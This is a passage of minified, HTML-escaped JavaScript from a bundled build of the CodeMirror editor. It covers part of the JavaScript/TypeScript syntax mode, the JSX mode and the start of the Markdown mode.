c==a?o():&quot;;&quot;==a?n():o(b)}return b}function v(a,b){return&quot;var&quot;==a?o(s(&quot;vardef&quot;,b.length),$,u(&quot;;&quot;),t):&quot;keyword a&quot;==a?o(s(&quot;form&quot;),y,v,t):&quot;keyword b&quot;==a?o(s(&quot;form&quot;),v,t):&quot;{&quot;==a?o(s(&quot;}&quot;),S,t):&quot;;&quot;==a?o():&quot;if&quot;==a?(&quot;else&quot;==Na.state.lexical.info&amp;&amp;Na.state.cc[Na.state.cc.length-1]==t&amp;&amp;Na.state.cc.pop()(),o(s(&quot;form&quot;),y,v,t,da)):&quot;function&quot;==a?o(ja):&quot;for&quot;==a?o(s(&quot;form&quot;),ea,v,t):&quot;variable&quot;==a?Ga&amp;&amp;&quot;type&quot;==b?(Na.marked=&quot;keyword&quot;,o(U,u(&quot;operator&quot;),U,u(&quot;;&quot;))):Ga&amp;&amp;&quot;declare&quot;==b?(Na.marked=&quot;keyword&quot;,o(v)):o(s(&quot;stat&quot;),L):&quot;switch&quot;==a?o(s(&quot;form&quot;),y,u(&quot;{&quot;),s(&quot;}&quot;,&quot;switch&quot;),S,t,t):&quot;case&quot;==a?o(w,u(&quot;:&quot;)):&quot;default&quot;==a?o(u(&quot;:&quot;)):&quot;catch&quot;==a?o(s(&quot;form&quot;),q,u(&quot;(&quot;),ka,u(&quot;)&quot;),v,t,r):&quot;class&quot;==a?o(s(&quot;form&quot;),ma,t):&quot;export&quot;==a?o(s(&quot;stat&quot;),qa,t):&quot;import&quot;==a?o(s(&quot;stat&quot;),sa,t):&quot;module&quot;==a?o(s(&quot;form&quot;),_,u(&quot;{&quot;),s(&quot;}&quot;),S,t,t):&quot;async&quot;==a?o(v):&quot;@&quot;==b?o(w,v):n(s(&quot;stat&quot;),w,u(&quot;;&quot;),t)}function w(a){return z(a,!1)}function x(a){return z(a,!0)}function y(a){return&quot;(&quot;!=a?n():o(s(&quot;)&quot;),w,u(&quot;)&quot;),t)}function z(a,b){if(Na.state.fatArrowAt==Na.stream.start){var c=b?H:G;if(&quot;(&quot;==a)return o(q,s(&quot;)&quot;),Q(ka,&quot;)&quot;),t,u(&quot;=&gt;&quot;),c,r);if(&quot;variable&quot;==a)return n(q,_,u(&quot;=&gt;&quot;),c,r)}var d=b?D:C;return Ma.hasOwnProperty(a)?o(d):&quot;function&quot;==a?o(ja,d):&quot;class&quot;==a?o(s(&quot;form&quot;),la,t):&quot;keyword c&quot;==a||&quot;async&quot;==a?o(b?B:A):&quot;(&quot;==a?o(s(&quot;)&quot;),A,u(&quot;)&quot;),t,d):&quot;operator&quot;==a||&quot;spread&quot;==a?o(b?x:w):&quot;[&quot;==a?o(s(&quot;]&quot;),xa,t,d):&quot;{&quot;==a?R(N,&quot;}&quot;,null,d):&quot;quasi&quot;==a?n(E,d):&quot;new&quot;==a?o(I(b)):o()}function A(a){return a.match(/[;\}\)\],]/)?n():n(w)}function B(a){return a.match(/[;\}\)\],]/)?n():n(x)}function C(a,b){return&quot;,&quot;==a?o(w):D(a,b,!1)}function D(a,b,c){var d=0==c?C:D,e=0==c?w:x;return&quot;=&gt;&quot;==a?o(q,c?H:G,r):&quot;operator&quot;==a?/\+\+|--/.test(b)||Ga&amp;&amp;&quot;!&quot;==b?o(d):&quot;?&quot;==b?o(w,u(&quot;:&quot;),e):o(e):&quot;quasi&quot;==a?n(E,d):&quot;;&quot;!=a?&quot;(&quot;==a?R(x,&quot;)&quot;,&quot;call&quot;,d):&quot;.&quot;==a?o(M,d):&quot;[&quot;==a?o(s(&quot;]&quot;),A,u(&quot;]&quot;),t,d):Ga&amp;&amp;&quot;as&quot;==b?(Na.marked=&quot;keyword&quot;,o(U,d)):void 0:void 0}function E(a,b){return&quot;quasi&quot;!=a?n():&quot;${&quot;!=b.slice(b.length-2)?o(E):o(w,F)}function F(a){if(&quot;}&quot;==a)return Na.marked=&quot;string-2&quot;,Na.state.tokenize=i,o(E)}function G(a){return j(Na.stream,Na.state),n(&quot;{&quot;==a?v:w)}function H(a){return j(Na.stream,Na.state),n(&quot;{&quot;==a?v:x)}function I(a){return function(b){return&quot;.&quot;==b?o(a?K:J):&quot;variable&quot;==b&amp;&amp;Ga?o(Z,a?D:C):n(a?x:w)}}function J(a,b){if(&quot;target&quot;==b)return Na.marked=&quot;keyword&quot;,o(C)}function K(a,b){if(&quot;target&quot;==b)return Na.marked=&quot;keyword&quot;,o(D)}function L(a){return&quot;:&quot;==a?o(t,v):n(C,u(&quot;;&quot;),t)}function M(a){if(&quot;variable&quot;==a)return Na.marked=&quot;property&quot;,o()}function N(a,b){if(&quot;async&quot;==a)return Na.marked=&quot;property&quot;,o(N);if(&quot;variable&quot;==a||&quot;keyword&quot;==Na.style){if(Na.marked=&quot;property&quot;,&quot;get&quot;==b||&quot;set&quot;==b)return o(O);var c;return Ga&amp;&amp;Na.state.fatArrowAt==Na.stream.start&amp;&amp;(c=Na.stream.match(/^\s*:\s*/,!1))&amp;&amp;(Na.state.fatArrowAt=Na.stream.pos+c[0].length),o(P)}return&quot;number&quot;==a||&quot;string&quot;==a?(Na.marked=Ea?&quot;property&quot;:Na.style+&quot; property&quot;,o(P)):&quot;jsonld-keyword&quot;==a?o(P):&quot;modifier&quot;==a?o(N):&quot;[&quot;==a?o(w,u(&quot;]&quot;),P):&quot;spread&quot;==a?o(w,P):&quot;:&quot;==a?n(P):void 0}function O(a){return&quot;variable&quot;!=a?n(P):(Na.marked=&quot;property&quot;,o(ja))}function P(a){return&quot;:&quot;==a?o(x):&quot;(&quot;==a?n(ja):void 0}function Q(a,b,c){function d(e,f){if(c?c.indexOf(e)&gt;-1:&quot;,&quot;==e){var g=Na.state.lexical;return&quot;call&quot;==g.info&amp;&amp;(g.pos=(g.pos||0)+1),o(function(c,d){return c==b||d==b?n():n(a)},d)}return e==b||f==b?o():o(u(b))}return function(c,e){return c==b||e==b?o():n(a,d)}}function R(a,b,c){for(var d=3;d&lt;arguments.length;d++)Na.cc.push(arguments[d]);return o(s(b,c),Q(a,b),t)}function S(a){return&quot;}&quot;==a?o():n(v,S)}function T(a,b){if(Ga){if(&quot;:&quot;==a)return o(U);if(&quot;?&quot;==b)return o(T)}}function U(a,b){return&quot;variable&quot;==a?&quot;keyof&quot;==b?(Na.marked=&quot;keyword&quot;,o(U)):(Na.marked=&quot;type&quot;,o(Y)):&quot;string&quot;==a||&quot;number&quot;==a||&quot;atom&quot;==a?o(Y):&quot;[&quot;==a?o(s(&quot;]&quot;),Q(U,&quot;]&quot;,&quot;,&quot;),t,Y):&quot;{&quot;==a?o(s(&quot;}&quot;),Q(W,&quot;}&quot;,&quot;,;&quot;),t,Y):&quot;(&quot;==a?o(Q(X,&quot;)&quot;),V):void 0}function V(a){if(&quot;=&gt;&quot;==a)return o(U)}function W(a,b){return&quot;variable&quot;==a||&quot;keyword&quot;==Na.style?(Na.marked=&quot;property&quot;,o(W)):&quot;?&quot;==b?o(W):&quot;:&quot;==a?o(U):&quot;[&quot;==a?o(w,T,u(&quot;]&quot;),W):void 0}function X(a){return&quot;variable&quot;==a?o(X):&quot;:&quot;==a?o(U):void 0}function Y(a,b){return&quot;&lt;&quot;==b?o(s(&quot;&gt;&quot;),Q(U,&quot;&gt;&quot;),t,Y):&quot;|&quot;==b||&quot;.&quot;==a?o(U):&quot;[&quot;==a?o(u(&quot;]&quot;),Y):&quot;extends&quot;==b?o(U):void 0}function Z(a,b){if(&quot;&lt;&quot;==b)return o(s(&quot;&gt;&quot;),Q(U,&quot;&gt;&quot;),t,Y)}function $(){return n(_,T,ba,ca)}function _(a,b){return&quot;modifier&quot;==a?o(_):&quot;variable&quot;==a?(p(b),o()):&quot;spread&quot;==a?o(_):&quot;[&quot;==a?R(_,&quot;]&quot;):&quot;{&quot;==a?R(aa,&quot;}&quot;):void 0}function aa(a,b){return&quot;variable&quot;!=a||Na.stream.match(/^\s*:/,!1)?(&quot;variable&quot;==a&amp;&amp;(Na.marked=&quot;property&quot;),&quot;spread&quot;==a?o(_):&quot;}&quot;==a?n():o(u(&quot;:&quot;),_,ba)):(p(b),o(ba))}function ba(a,b){if(&quot;=&quot;==b)return o(x)}function ca(a){if(&quot;,&quot;==a)return o($)}function da(a,b){if(&quot;keyword b&quot;==a&amp;&amp;&quot;else&quot;==b)return o(s(&quot;form&quot;,&quot;else&quot;),v,t)}function ea(a){if(&quot;(&quot;==a)return o(s(&quot;)&quot;),fa,u(&quot;)&quot;),t)}function fa(a){return&quot;var&quot;==a?o($,u(&quot;;&quot;),ha):&quot;;&quot;==a?o(ha):&quot;variable&quot;==a?o(ga):n(w,u(&quot;;&quot;),ha)}function ga(a,b){return&quot;in&quot;==b||&quot;of&quot;==b?(Na.marked=&quot;keyword&quot;,o(w)):o(C,ha)}function ha(a,b){return&quot;;&quot;==a?o(ia):&quot;in&quot;==b||&quot;of&quot;==b?(Na.marked=&quot;keyword&quot;,o(w)):n(w,u(&quot;;&quot;),ia)}function ia(a){&quot;)&quot;!=a&amp;&amp;o(w)}function ja(a,b){return&quot;*&quot;==b?(Na.marked=&quot;keyword&quot;,o(ja)):&quot;variable&quot;==a?(p(b),o(ja)):&quot;(&quot;==a?o(q,s(&quot;)&quot;),Q(ka,&quot;)&quot;),t,T,v,r):Ga&amp;&amp;&quot;&lt;&quot;==b?o(s(&quot;&gt;&quot;),Q(U,&quot;&gt;&quot;),t,ja):void 0}function ka(a){return&quot;spread&quot;==a||&quot;modifier&quot;==a?o(ka):n(_,T,ba)}function la(a,b){return&quot;variable&quot;==a?ma(a,b):na(a,b)}function ma(a,b){if(&quot;variable&quot;==a)return p(b),o(na)}function na(a,b){return&quot;&lt;&quot;==b?o(s(&quot;&gt;&quot;),Q(U,&quot;&gt;&quot;),t,na):&quot;extends&quot;==b||&quot;implements&quot;==b||Ga&amp;&amp;&quot;,&quot;==a?o(Ga?U:w,na):&quot;{&quot;==a?o(s(&quot;}&quot;),oa,t):void 0}function oa(a,b){return&quot;modifier&quot;==a||&quot;async&quot;==a||&quot;variable&quot;==a&amp;&amp;(&quot;static&quot;==b||&quot;get&quot;==b||&quot;set&quot;==b)&amp;&amp;Na.stream.match(/^\s+[\w$\xa1-\uffff]/,!1)?(Na.marked=&quot;keyword&quot;,o(oa)):&quot;variable&quot;==a||&quot;keyword&quot;==Na.style?(Na.marked=&quot;property&quot;,o(Ga?pa:ja,oa)):&quot;[&quot;==a?o(w,u(&quot;]&quot;),Ga?pa:ja,oa):&quot;*&quot;==b?(Na.marked=&quot;keyword&quot;,o(oa)):&quot;;&quot;==a?o(oa):&quot;}&quot;==a?o():&quot;@&quot;==b?o(w,oa):void 0}function pa(a,b){return&quot;?&quot;==b?o(pa):&quot;:&quot;==a?o(U,ba):&quot;=&quot;==b?o(x):n(ja)}function qa(a,b){return&quot;*&quot;==b?(Na.marked=&quot;keyword&quot;,o(wa,u(&quot;;&quot;))):&quot;default&quot;==b?(Na.marked=&quot;keyword&quot;,o(w,u(&quot;;&quot;))):&quot;{&quot;==a?o(Q(ra,&quot;}&quot;),wa,u(&quot;;&quot;)):n(v)}function ra(a,b){return&quot;as&quot;==b?(Na.marked=&quot;keyword&quot;,o(u(&quot;variable&quot;))):&quot;variable&quot;==a?n(x,ra):void 0}function sa(a){return&quot;string&quot;==a?o():n(ta,ua,wa)}function ta(a,b){return&quot;{&quot;==a?R(ta,&quot;}&quot;):(&quot;variable&quot;==a&amp;&amp;p(b),&quot;*&quot;==b&amp;&amp;(Na.marked=&quot;keyword&quot;),o(va))}function ua(a){if(&quot;,&quot;==a)return o(ta,ua)}function va(a,b){if(&quot;as&quot;==b)return Na.marked=&quot;keyword&quot;,o(ta)}function wa(a,b){if(&quot;from&quot;==b)return Na.marked=&quot;keyword&quot;,o(w)}function xa(a){return&quot;]&quot;==a?o():n(Q(x,&quot;]&quot;))}function ya(a,b){return&quot;operator&quot;==a.lastType||&quot;,&quot;==a.lastType||Ja.test(b.charAt(0))||/[,.]/.test(b.charAt(0))}function za(a,b,c){return b.tokenize==f&amp;&amp;/^(?:operator|sof|keyword c|case|new|export|default|[\[{}\(,;:]|=&gt;)$/.test(b.lastType)||&quot;quasi&quot;==b.lastType&amp;&amp;/\{\s*$/.test(a.string.slice(0,a.pos-(c||0)))}var Aa,Ba,Ca=b.indentUnit,Da=c.statementIndent,Ea=c.jsonld,Fa=c.json||Ea,Ga=c.typescript,Ha=c.wordCharacters||/[\w$\xa1-\uffff]/,Ia=function(){function a(a){return{type:a,style:&quot;keyword&quot;}}var b=a(&quot;keyword a&quot;),c=a(&quot;keyword b&quot;),d=a(&quot;keyword c&quot;),e=a(&quot;operator&quot;),f={type:&quot;atom&quot;,style:&quot;atom&quot;},g={&quot;if&quot;:a(&quot;if&quot;),&quot;while&quot;:b,&quot;with&quot;:b,&quot;else&quot;:c,&quot;do&quot;:c,&quot;try&quot;:c,&quot;finally&quot;:c,&quot;return&quot;:d,&quot;break&quot;:d,&quot;continue&quot;:d,&quot;new&quot;:a(&quot;new&quot;),&quot;delete&quot;:d,&quot;throw&quot;:d,&quot;debugger&quot;:d,&quot;var&quot;:a(&quot;var&quot;),&quot;const&quot;:a(&quot;var&quot;),&quot;let&quot;:a(&quot;var&quot;),&quot;function&quot;:a(&quot;function&quot;),&quot;catch&quot;:a(&quot;catch&quot;),&quot;for&quot;:a(&quot;for&quot;),&quot;switch&quot;:a(&quot;switch&quot;),&quot;case&quot;:a(&quot;case&quot;),&quot;default&quot;:a(&quot;default&quot;),&quot;in&quot;:e,&quot;typeof&quot;:e,&quot;instanceof&quot;:e,&quot;true&quot;:f,&quot;false&quot;:f,&quot;null&quot;:f,undefined:f,NaN:f,Infinity:f,&quot;this&quot;:a(&quot;this&quot;),&quot;class&quot;:a(&quot;class&quot;),&quot;super&quot;:a(&quot;atom&quot;),&quot;yield&quot;:d,&quot;export&quot;:a(&quot;export&quot;),&quot;import&quot;:a(&quot;import&quot;),&quot;extends&quot;:d,await:d};if(Ga){var h={type:&quot;variable&quot;,style:&quot;type&quot;},i={&quot;interface&quot;:a(&quot;class&quot;),&quot;implements&quot;:d,namespace:d,module:a(&quot;module&quot;),&quot;enum&quot;:a(&quot;module&quot;),&quot;public&quot;:a(&quot;modifier&quot;),&quot;private&quot;:a(&quot;modifier&quot;),&quot;protected&quot;:a(&quot;modifier&quot;),&quot;abstract&quot;:a(&quot;modifier&quot;),readonly:a(&quot;modifier&quot;),string:h,number:h,&quot;boolean&quot;:h,any:h};for(var j in i)g[j]=i[j]}return g}(),Ja=/[+\-*&amp;%=&lt;&gt;!?|~^@]/,Ka=/^@(context|id|value|language|type|container|list|set|reverse|index|base|vocab|graph)&quot;/,La=&quot;([{}])&quot;,Ma={atom:!0,number:!0,variable:!0,string:!0,regexp:!0,&quot;this&quot;:!0,&quot;jsonld-keyword&quot;:!0},Na={state:null,column:null,marked:null,cc:null},Oa={name:&quot;this&quot;,next:{name:&quot;arguments&quot;}};return t.lex=!0,{startState:function(a){var b={tokenize:f,lastType:&quot;sof&quot;,cc:[],lexical:new k((a||0)-Ca,0,&quot;block&quot;,!1),localVars:c.localVars,context:c.localVars&amp;&amp;{vars:c.localVars},indented:a||0};return c.globalVars&amp;&amp;&quot;object&quot;==typeof c.globalVars&amp;&amp;(b.globalVars=c.globalVars),b},token:function(a,b){if(a.sol()&amp;&amp;(b.lexical.hasOwnProperty(&quot;align&quot;)||(b.lexical.align=!1),b.indented=a.indentation(),j(a,b)),b.tokenize!=h&amp;&amp;a.eatSpace())return null;var c=b.tokenize(a,b);return&quot;comment&quot;==Aa?c:(b.lastType=&quot;operator&quot;!=Aa||&quot;++&quot;!=Ba&amp;&amp;&quot;--&quot;!=Ba?Aa:&quot;incdec&quot;,m(b,c,Aa,Ba,a))},indent:function(b,d){if(b.tokenize==h)return a.Pass;if(b.tokenize!=f)return 0;var e,g=d&amp;&amp;d.charAt(0),i=b.lexical;if(!/^\s*else\b/.test(d))for(var j=b.cc.length-1;j&gt;=0;--j){var k=b.cc[j];if(k==t)i=i.prev;else if(k!=da)break}for(;(&quot;stat&quot;==i.type||&quot;form&quot;==i.type)&amp;&amp;(&quot;}&quot;==g||(e=b.cc[b.cc.length-1])&amp;&amp;(e==C||e==D)&amp;&amp;!/^[,\.=+\-*:?[\(]/.test(d));)i=i.prev;Da&amp;&amp;&quot;)&quot;==i.type&amp;&amp;&quot;stat&quot;==i.prev.type&amp;&amp;(i=i.prev);var l=i.type,m=g==l;return&quot;vardef&quot;==l?i.indented+(&quot;operator&quot;==b.lastType||&quot;,&quot;==b.lastType?i.info+1:0):&quot;form&quot;==l&amp;&amp;&quot;{&quot;==g?i.indented:&quot;form&quot;==l?i.indented+Ca:&quot;stat&quot;==l?i.indented+(ya(b,d)?Da||Ca:0):&quot;switch&quot;!=i.info||m||0==c.doubleIndentSwitch?i.align?i.column+(m?0:1):i.indented+(m?0:Ca):i.indented+(/^(?:case|default)\b/.test(d)?Ca:2*Ca)},electricInput:/^\s*(?:case .*?:|default:|\{|\})$/,blockCommentStart:Fa?null:&quot;/*&quot;,blockCommentEnd:Fa?null:&quot;*/&quot;,lineComment:Fa?null:&quot;//&quot;,fold:&quot;brace&quot;,closeBrackets:&quot;()[]{}&#039;&#039;\&quot;\&quot;``&quot;,helperType:Fa?&quot;json&quot;:&quot;javascript&quot;,jsonldMode:Ea,jsonMode:Fa,expressionAllowed:za,skipExpression:function(a){var b=a.cc[a.cc.length-1];b!=w&amp;&amp;b!=x||a.cc.pop()}}}),a.registerHelper(&quot;wordChars&quot;,&quot;javascript&quot;,/[\w$]/),a.defineMIME(&quot;text/javascript&quot;,&quot;javascript&quot;),a.defineMIME(&quot;text/ecmascript&quot;,&quot;javascript&quot;),a.defineMIME(&quot;application/javascript&quot;,&quot;javascript&quot;),a.defineMIME(&quot;application/x-javascript&quot;,&quot;javascript&quot;),a.defineMIME(&quot;application/ecmascript&quot;,&quot;javascript&quot;),a.defineMIME(&quot;application/json&quot;,{name:&quot;javascript&quot;,json:!0}),a.defineMIME(&quot;application/x-json&quot;,{name:&quot;javascript&quot;,json:!0}),a.defineMIME(&quot;application/ld+json&quot;,{name:&quot;javascript&quot;,jsonld:!0}),a.defineMIME(&quot;text/typescript&quot;,{name:&quot;javascript&quot;,typescript:!0}),a.defineMIME(&quot;application/typescript&quot;,{name:&quot;javascript&quot;,typescript:!0})})},{&quot;../../lib/codemirror&quot;:59}],67:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;),a(&quot;../xml/xml&quot;),a(&quot;../javascript/javascript&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;,&quot;../xml/xml&quot;,&quot;../javascript/javascript&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;function b(a,b,c,d){this.state=a,this.mode=b,this.depth=c,this.prev=d}function c(d){return new b(a.copyState(d.mode,d.state),d.mode,d.depth,d.prev&amp;&amp;c(d.prev))}a.defineMode(&quot;jsx&quot;,function(d,e){function f(a){var b=a.tagName;a.tagName=null;var c=j.indent(a,&quot;&quot;);return a.tagName=b,c}function g(a,b){return b.context.mode==j?h(a,b,b.context):i(a,b,b.context)}function h(c,e,h){if(2==h.depth)return c.match(/^.*?\*\//)?h.depth=1:c.skipToEnd(),&quot;comment&quot;;if(&quot;{&quot;==c.peek()){j.skipAttribute(h.state);var i=f(h.state),l=h.state.context;if(l&amp;&amp;c.match(/^[^&gt;]*&gt;\s*$/,!1)){for(;l.prev&amp;&amp;!l.startOfLine;)l=l.prev;l.startOfLine?i-=d.indentUnit:h.prev.state.lexical&amp;&amp;(i=h.prev.state.lexical.indented)}else 1==h.depth&amp;&amp;(i+=d.indentUnit);return e.context=new b(a.startState(k,i),k,0,e.context),null}if(1==h.depth){if(&quot;&lt;&quot;==c.peek())return j.skipAttribute(h.state),e.context=new b(a.startState(j,f(h.state)),j,0,e.context),null;if(c.match(&quot;//&quot;))return c.skipToEnd(),&quot;comment&quot;;if(c.match(&quot;/*&quot;))return h.depth=2,g(c,e)}var m,n=j.token(c,h.state),o=c.current();return/\btag\b/.test(n)?/&gt;$/.test(o)?h.state.context?h.depth=0:e.context=e.context.prev:/^&lt;/.test(o)&amp;&amp;(h.depth=1):!n&amp;&amp;(m=o.indexOf(&quot;{&quot;))&gt;-1&amp;&amp;c.backUp(o.length-m),n}function i(c,d,e){if(&quot;&lt;&quot;==c.peek()&amp;&amp;k.expressionAllowed(c,e.state))return k.skipExpression(e.state),d.context=new b(a.startState(j,k.indent(e.state,&quot;&quot;)),j,0,d.context),null;var f=k.token(c,e.state);if(!f&amp;&amp;null!=e.depth){var g=c.current();&quot;{&quot;==g?e.depth++:&quot;}&quot;==g&amp;&amp;0==--e.depth&amp;&amp;(d.context=d.context.prev)}return f}var j=a.getMode(d,{name:&quot;xml&quot;,allowMissing:!0,multilineTagIndentPastTag:!1}),k=a.getMode(d,e&amp;&amp;e.base||&quot;javascript&quot;);return{startState:function(){return{context:new b(a.startState(k),k)}},copyState:function(a){return{context:c(a.context)}},token:g,indent:function(a,b,c){return a.context.mode.indent(a.context.state,b,c)},innerMode:function(a){return a.context}}},&quot;xml&quot;,&quot;javascript&quot;),a.defineMIME(&quot;text/jsx&quot;,&quot;jsx&quot;),a.defineMIME(&quot;text/typescript-jsx&quot;,{name:&quot;jsx&quot;,base:{name:&quot;javascript&quot;,typescript:!0}})})},{&quot;../../lib/codemirror&quot;:59,&quot;../javascript/javascript&quot;:66,&quot;../xml/xml&quot;:75}],68:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;),a(&quot;../xml/xml&quot;),a(&quot;../meta&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;,&quot;../xml/xml&quot;,&quot;../meta&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;a.defineMode(&quot;markdown&quot;,function(b,c){function d(c){if(a.findModeByName){var d=a.findModeByName(c);d&amp;&amp;(c=d.mime||d.mimes[0])}var e=a.getMode(b,c);return&quot;null&quot;==e.name?null:e}function e(a,b,c){return b.f=b.inline=c,c(a,b)}function f(a,b,c){return b.f=b.block=c,c(a,b)}function g(a){return!a||!/\S/.test(a.string)}function h(a){return a.linkTitle=!1,a.em=!1,a.strong=!1,a.strikethrough=!1,a.quote=0,a.indentedCode=!1,a.f==j&amp;&amp;(a.f=n,a.block=i),a.trailingSpace=0,a.trailingSpaceNewLine=!1,a.prevLine=a.thisLine,a.thisLine={stream:null},null}function i(b,f){var h=b.column()===f.indentation,i=g(f.prevLine.stream),j=f.indentedCode,m=f.prevLine.hr,n=f.list!==!1,o=(f.listStack[f.listStack.length-1]||0)+3;f.indentedCode=!1;var p=f.indentation;if(null===f.indentationDiff&amp;&amp;(f.indentationDiff=f.indentation,n)){for(f.list=null;p&lt;f.listStack[f.listStack.length-1];)f.listStack.pop(),f.listStack.length?f.indentation=f.listStack[f.listStack.length-1]:f.list=!1;f.list!==!1&amp;&amp;(f.indentationDiff=p-f.listStack[f.listStack.length-1])}var q=!(i||m||f.prevLine.header||n&amp;&amp;j||f.prevLine.fencedCodeEnd),s=(f.list===!1||m||i)&amp;&amp;f.indentation&lt;=o&amp;&amp;b.match(y),t=null;if(f.indentationDiff&gt;=4&amp;&amp;(j||f.prevLine.fencedCodeEnd||f.prevLine.header||i))return b.skipToEnd(),f.indentedCode=!0,w.code;if(b.eatSpace())return null;if(h&amp;&amp;f.indentation&lt;=o&amp;&amp;(t=b.match(B))&amp;&amp;t[1].length&lt;=6)return f.quote=0,f.header=t[1].length,f.thisLine.header=!0,c.highlightFormatting&amp;&amp;(f.formatting=&quot;header&quot;),f.f=f.inline,l(f);if(f.indentation&lt;=o&amp;&amp;b.eat(&quot;&gt;&quot;))return f.quote=h?1:f.quote+1,c.highlightFormatting&amp;&amp;(f.formatting=&quot;quote&quot;),b.eatSpace(),l(f);if(!s&amp;&amp;!f.setext&amp;&amp;h&amp;&amp;f.indentation&lt;=o&amp;&amp;(t=b.match(z))){var u=t[1]?&quot;ol&quot;:&quot;ul&quot;;return f.indentation=p+b.current().length,f.list=!0,f.quote=0,f.listStack.push(f.indentation),c.taskLists&amp;&amp;b.match(A,!1)&amp;&amp;(f.taskList=!0),f.f=f.inline,c.highlightFormatting&amp;&amp;(f.formatting=[&quot;list&quot;,&quot;list-&quot;+u]),l(f)}return h&amp;&amp;f.indentation&lt;=o&amp;&amp;(t=b.match(E,!0))?(f.quote=0,f.fencedEndRE=new RegExp(t[1]+&quot;+ *$&quot;),f.localMode=c.fencedCodeBlockHighlighting&amp;&amp;d(t[2]),f.localMode&amp;&amp;(f.localState=a.startState(f.localMode)),f.f=f.block=k,c.highlightFormatting&amp;&amp;(f.formatting=&quot;code-block&quot;),f.code=-1,l(f)):f.setext||!(q&amp;&amp;n||f.quote||f.list!==!1||f.code||s||F.test(b.string))&amp;&amp;(t=b.lookAhead(1))&amp;&amp;(t=t.match(C))?(f.setext?(f.header=f.setext,f.setext=0,b.skipToEnd(),c.highlightFormatting&amp;&amp;(f.formatting=&quot;header&quot;)):(f.header=&quot;=&quot;==t[0].charAt(0)?1:2,f.setext=f.header),f.thisLine.header=!0,f.f=f.inline,l(f)):s?(b.skipToEnd(),f.hr=!0,f.thisLine.hr=!0,w.hr):&quot;[&quot;===b.peek()?e(b,f,r):e(b,f,f.inline)}function j(b,c){var d=u.token(b,c.htmlState);if(!v){var e=a.innerMode(u,c.htmlState);(&quot;xml&quot;==e.mode.name&amp;&amp;null===e.state.tagStart&amp;&amp;!e.state.context&amp;&amp;e.state.tokenize.isInText||c.md_inside&amp;&amp;b.current().indexOf(&quot;&gt;&quot;)&gt;-1)&amp;&amp;(c.f=n,c.block=i,c.htmlState=null)}return d}function k(a,b){var d=b.listStack[b.listStack.length-1]||0,e=b.indentation&lt;d,g=d+3;if(b.fencedEndRE&amp;&amp;b.indentation&lt;=g&amp;&amp;(e||a.match(b.fencedEndRE))){c.highlightFormatting&amp;&amp;(b.formatting=&quot;code-block&quot;);var h;return e||(h=l(b)),b.localMode=b.localState=null,b.block=i,b.f=n,b.fencedEndRE=null,b.code=0,b.thisLine.fencedCodeEnd=!0,e?f(a,b,b.block):h}return b.localMode?b.localMode.token(a,b.localState):(a.skipToEnd(),w.code)}function l(a){var b=[];if(a.formatting){b.push(w.formatting),&quot;string&quot;==typeof a.formatting&amp;&amp;(a.formatting=[a.formatting]);for(var d=0;d&lt;a.formatting.length;d++)b.push(w.formatting+&quot;-&quot;+a.formatting[d]),&quot;header&quot;===a.formatting[d]&amp;&amp;b.push(w.formatting+&quot;-&quot;+a.formatting[d]+&quot;-&quot;+a.header),&quot;quote&quot;===a.formatting[d]&amp;&amp;(!c.maxBlockquoteDepth||c.maxBlockquoteDepth&gt;=a.quote?b.push(w.formatting+&quot;-&quot;+a.formatting[d]+&quot;-&quot;+a.quote):b.push(&quot;error&quot;))}if(a.taskOpen)return b.push(&quot;meta&quot;),b.length?b.join(&quot; &quot;):null;if(a.taskClosed)return b.push(&quot;property&quot;),b.length?b.join(&quot; &quot;):null;if(a.linkHref?b.push(w.linkHref,&quot;url&quot;):(a.strong&amp;&amp;b.push(w.strong),a.em&amp;&amp;b.push(w.em),a.strikethrough&amp;&amp;b.push(w.strikethrough),a.emoji&amp;&amp;b.push(w.emoji),a.linkText&amp;&amp;b.push(w.linkText),a.code&amp;&amp;b.push(w.code),a.image&amp;&amp;b.push(w.image),a.imageAltText&amp;&amp;b.push(w.imageAltText,&quot;link&quot;),a.imageMarker&amp;&amp;b.push(w.imageMarker)),a.header&amp;&amp;b.push(w.header,w.header+&quot;-&quot;+a.header),a.quote&amp;&amp;(b.push(w.quote),!c.maxBlockquoteDepth||c.maxBlockquoteDepth&gt;=a.quote?b.push(w.quote+&quot;-&quot;+a.quote):b.push(w.quote+&quot;-&quot;+c.maxBlockquoteDepth)),a.list!==!1){var e=(a.listStack.length-1)%3;e?1===e?b.push(w.list2):b.push(w.list3):b.push(w.list1)}return a.trailingSpaceNewLine?b.push(&quot;trailing-space-new-line&quot;):a.trailingSpace&amp;&amp;b.push(&quot;trailing-space-&quot;+(a.trailingSpace%2?&quot;a&quot;:&quot;b&quot;)),b.length?b.join(&quot; &quot;):null}function m(a,b){if(a.match(D,!0))return l(b)}function n(b,d){var e=d.text(b,d);if(&quot;undefined&quot;!=typeof e)return e;if(d.list)return d.list=null,l(d);if(d.taskList){var g=&quot; &quot;===b.match(A,!0)[1];return g?d.taskOpen=!0:d.taskClosed=!0,c.highlightFormatting&amp;&amp;(d.formatting=&quot;task&quot;),d.taskList=!1,
